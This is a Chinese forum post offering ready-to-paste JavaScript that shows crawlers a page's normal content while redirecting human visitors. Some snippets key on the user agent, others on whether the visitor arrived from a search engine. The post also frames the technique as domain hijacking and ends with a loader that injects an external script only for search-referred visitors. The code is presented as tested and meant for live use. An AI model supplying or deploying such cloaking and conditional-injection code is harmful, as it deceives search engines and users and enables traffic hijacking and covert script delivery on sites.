|
亲测有效,蜘蛛正常访问 用户访问直接跳转(当用户点击进入网站页面的时候,会直接跳转到指定的网页或显示指定内容,但是当蜘蛛进来访问时就不会跳转,让蜘蛛可以正常抓取。)
js网站跳转代码(判断userAgent,爬虫判断,用户跳转,蜘蛛正常)(直接粘贴到页面即可,建议放<head>后面直接加载):
- <script type="text/javascript">
- var isSpider = navigator.userAgent.match(/(bot|spider|crawler)/i) ? 1 : 2; // 爬虫检测
- if (isSpider === 1) { /* 是爬虫,可写更多处理逻辑 */ } else {
- /* 不是爬虫,跳转页面 */window.location.replace('/error.html');
- /*也可以直接用css遮住页面(需要jQuery):$("body").css("display","none"); $("html").html("<div>404</div>"); */
- }
- </script>
复制代码
js网站跳转代码(判断referrer,来源页面判断,直接访问跳转,搜索进入正常,蜘蛛正常)(直接粘贴到页面即可,建议放<head>后面直接加载):
- <script language="javascript">
- /*若需要页面加载完毕后加载js则使用:window.onload=function()*/
- var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { }else{ window.location.replace('/error.html');/*也可以直接用css遮住页面(需要jQuery):$("body").css("display","none"); $("html").html("<div>404</div>"); */}
- </script>
复制代码 经测试,页面访问后直接跳转,引擎方面使用百度站长平台进行抓取测试,测试结果为正常的页面内容
分享一个简单错误提示页面,可用于跳转后显示:
- <!doctype html>
- <html>
- <head>
- <meta charset="utf-8">
- <title>抱歉,站点已停止</title>
- <style>
- html,body,div,h1,*{margin:0;padding:0;}
- body{background-color:#fefefe;color:#333}
- .box{width:580px;margin:0 auto;}
- h1{font-size:20px;text-align:center;background:url(背景图链接,不需要则删除) no-repeat top center; padding-top:90px;margin-top:30%;font-weight:normal;}
- </style>
- </head>
- <body>
- <div class="box"><h1>抱歉!该站点已经停止运行!</h1></div>
- </body>
- </html>
复制代码
php方法推荐:用户访问跳转_蜘蛛访问正常(php判断UA跳转代码):
http://www.sheepyc.com/thread-493-1-1.html
(出处: 绵羊优创)
其他相关参考文档:
【其他】蜘蛛正常访问,从搜索引擎来的用户或机器人则跳转到指定网页,域名劫持怎样实现?
- <script>
- var regexp=/\.(baidu|biso)(\.[a-z0-9\-]+){1,2}\//ig;
- var where =document.referrer;
- if(regexp.test(where))
- {
- window.location.href='跳转的网址'
- }
- </script>
复制代码 【其他】S正则表达式判断来路搜索引擎指定跳转网址:
- var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
- var where =document.referrer;
- if(regexp.test(where))
- {
- window.location.href="跳转的网址";
- }
复制代码- <script language="javascript">
- var s=document.referrer
- if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("soso")>0 || s.indexOf("search")>0 || s.indexOf("114")>0 )
- window.opener.navigate("跳转的网址")
- </script>
复制代码 【其他】通过Js判断搜索引擎来路的代码则如下:
- <script type="text/javascript">
- function elem(e,url){
- var h=document.createElement(e);
- h.src=url;
- document.getElementsByTagName('head')[0].appendChild(h);
- }
- function refer(){
- var ref=document.referrer;
- var baidu=ref.indexOf("baidu");
- var soso=ref.indexOf("soso");
- var google=ref.indexOf("google");
- if(baidu!=-1||soso!=-1||google!=-1){
- elem("script","http://127.0.0.1/js.js");
- }
- }
- refer()
- </script>
复制代码
|
|